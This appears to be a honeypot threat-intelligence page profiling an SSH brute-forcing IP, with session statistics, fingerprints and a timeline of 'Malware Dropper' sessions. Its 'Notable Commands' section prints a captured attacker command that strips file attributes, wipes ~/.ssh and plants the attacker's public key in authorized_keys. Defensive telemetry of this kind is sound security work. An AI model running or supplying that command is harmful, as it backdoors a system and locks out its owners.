← Back to feed
Location
🇺🇸 US / San Francisco
ASN
AS14061 · DigitalOcean, LLC
Cloud Provider
DigitalOcean
Total Events
2046
Top 5% by volume
Agent Count
1
First / Last Seen
2026-07-26 00:44 — 2026-08-03 20:32
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Discovery
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
294 (51 with login)
Avg Depth Score
0.48
Commands Executed
78
Files Downloaded
26
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
7d98ab2906a8
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Malware Dropper
0a1d00b64342
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
7a91a2a5e5de
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Malware Dropper
e625520f296e
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
224fd8216502
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
1413c3f95a19
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
a49739602cf5
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Malware Dropper
162e4e29b92c
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
1f902aacb67a
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Malware Dropper
d991856587a9
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
3cbfa57b09bd
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Malware Dropper
2b6e527e8101
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
ee0b56f7b071
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Malware Dropper
8522af5d9fb1
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
1f4fde8720d1
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
8f47e8f59ed2
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Malware Dropper
e4b8679b68e7
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
8a9085745fd3
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Malware Dropper
40ef1392ff95
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
45a351abf695
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Malware Dropper
c412c2c3850b
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
822887c7abbf
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Malware Dropper
d201b6366f69
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
e38904da6c2f
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
Malware Dropper
d93cdf957057
LOGIN
3
1
1
100%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
0ada86c605be
LOGIN
1
50%
Loading events...
HASSH b2c12d03774e621…
SSH-2.0-libssh_0.9.6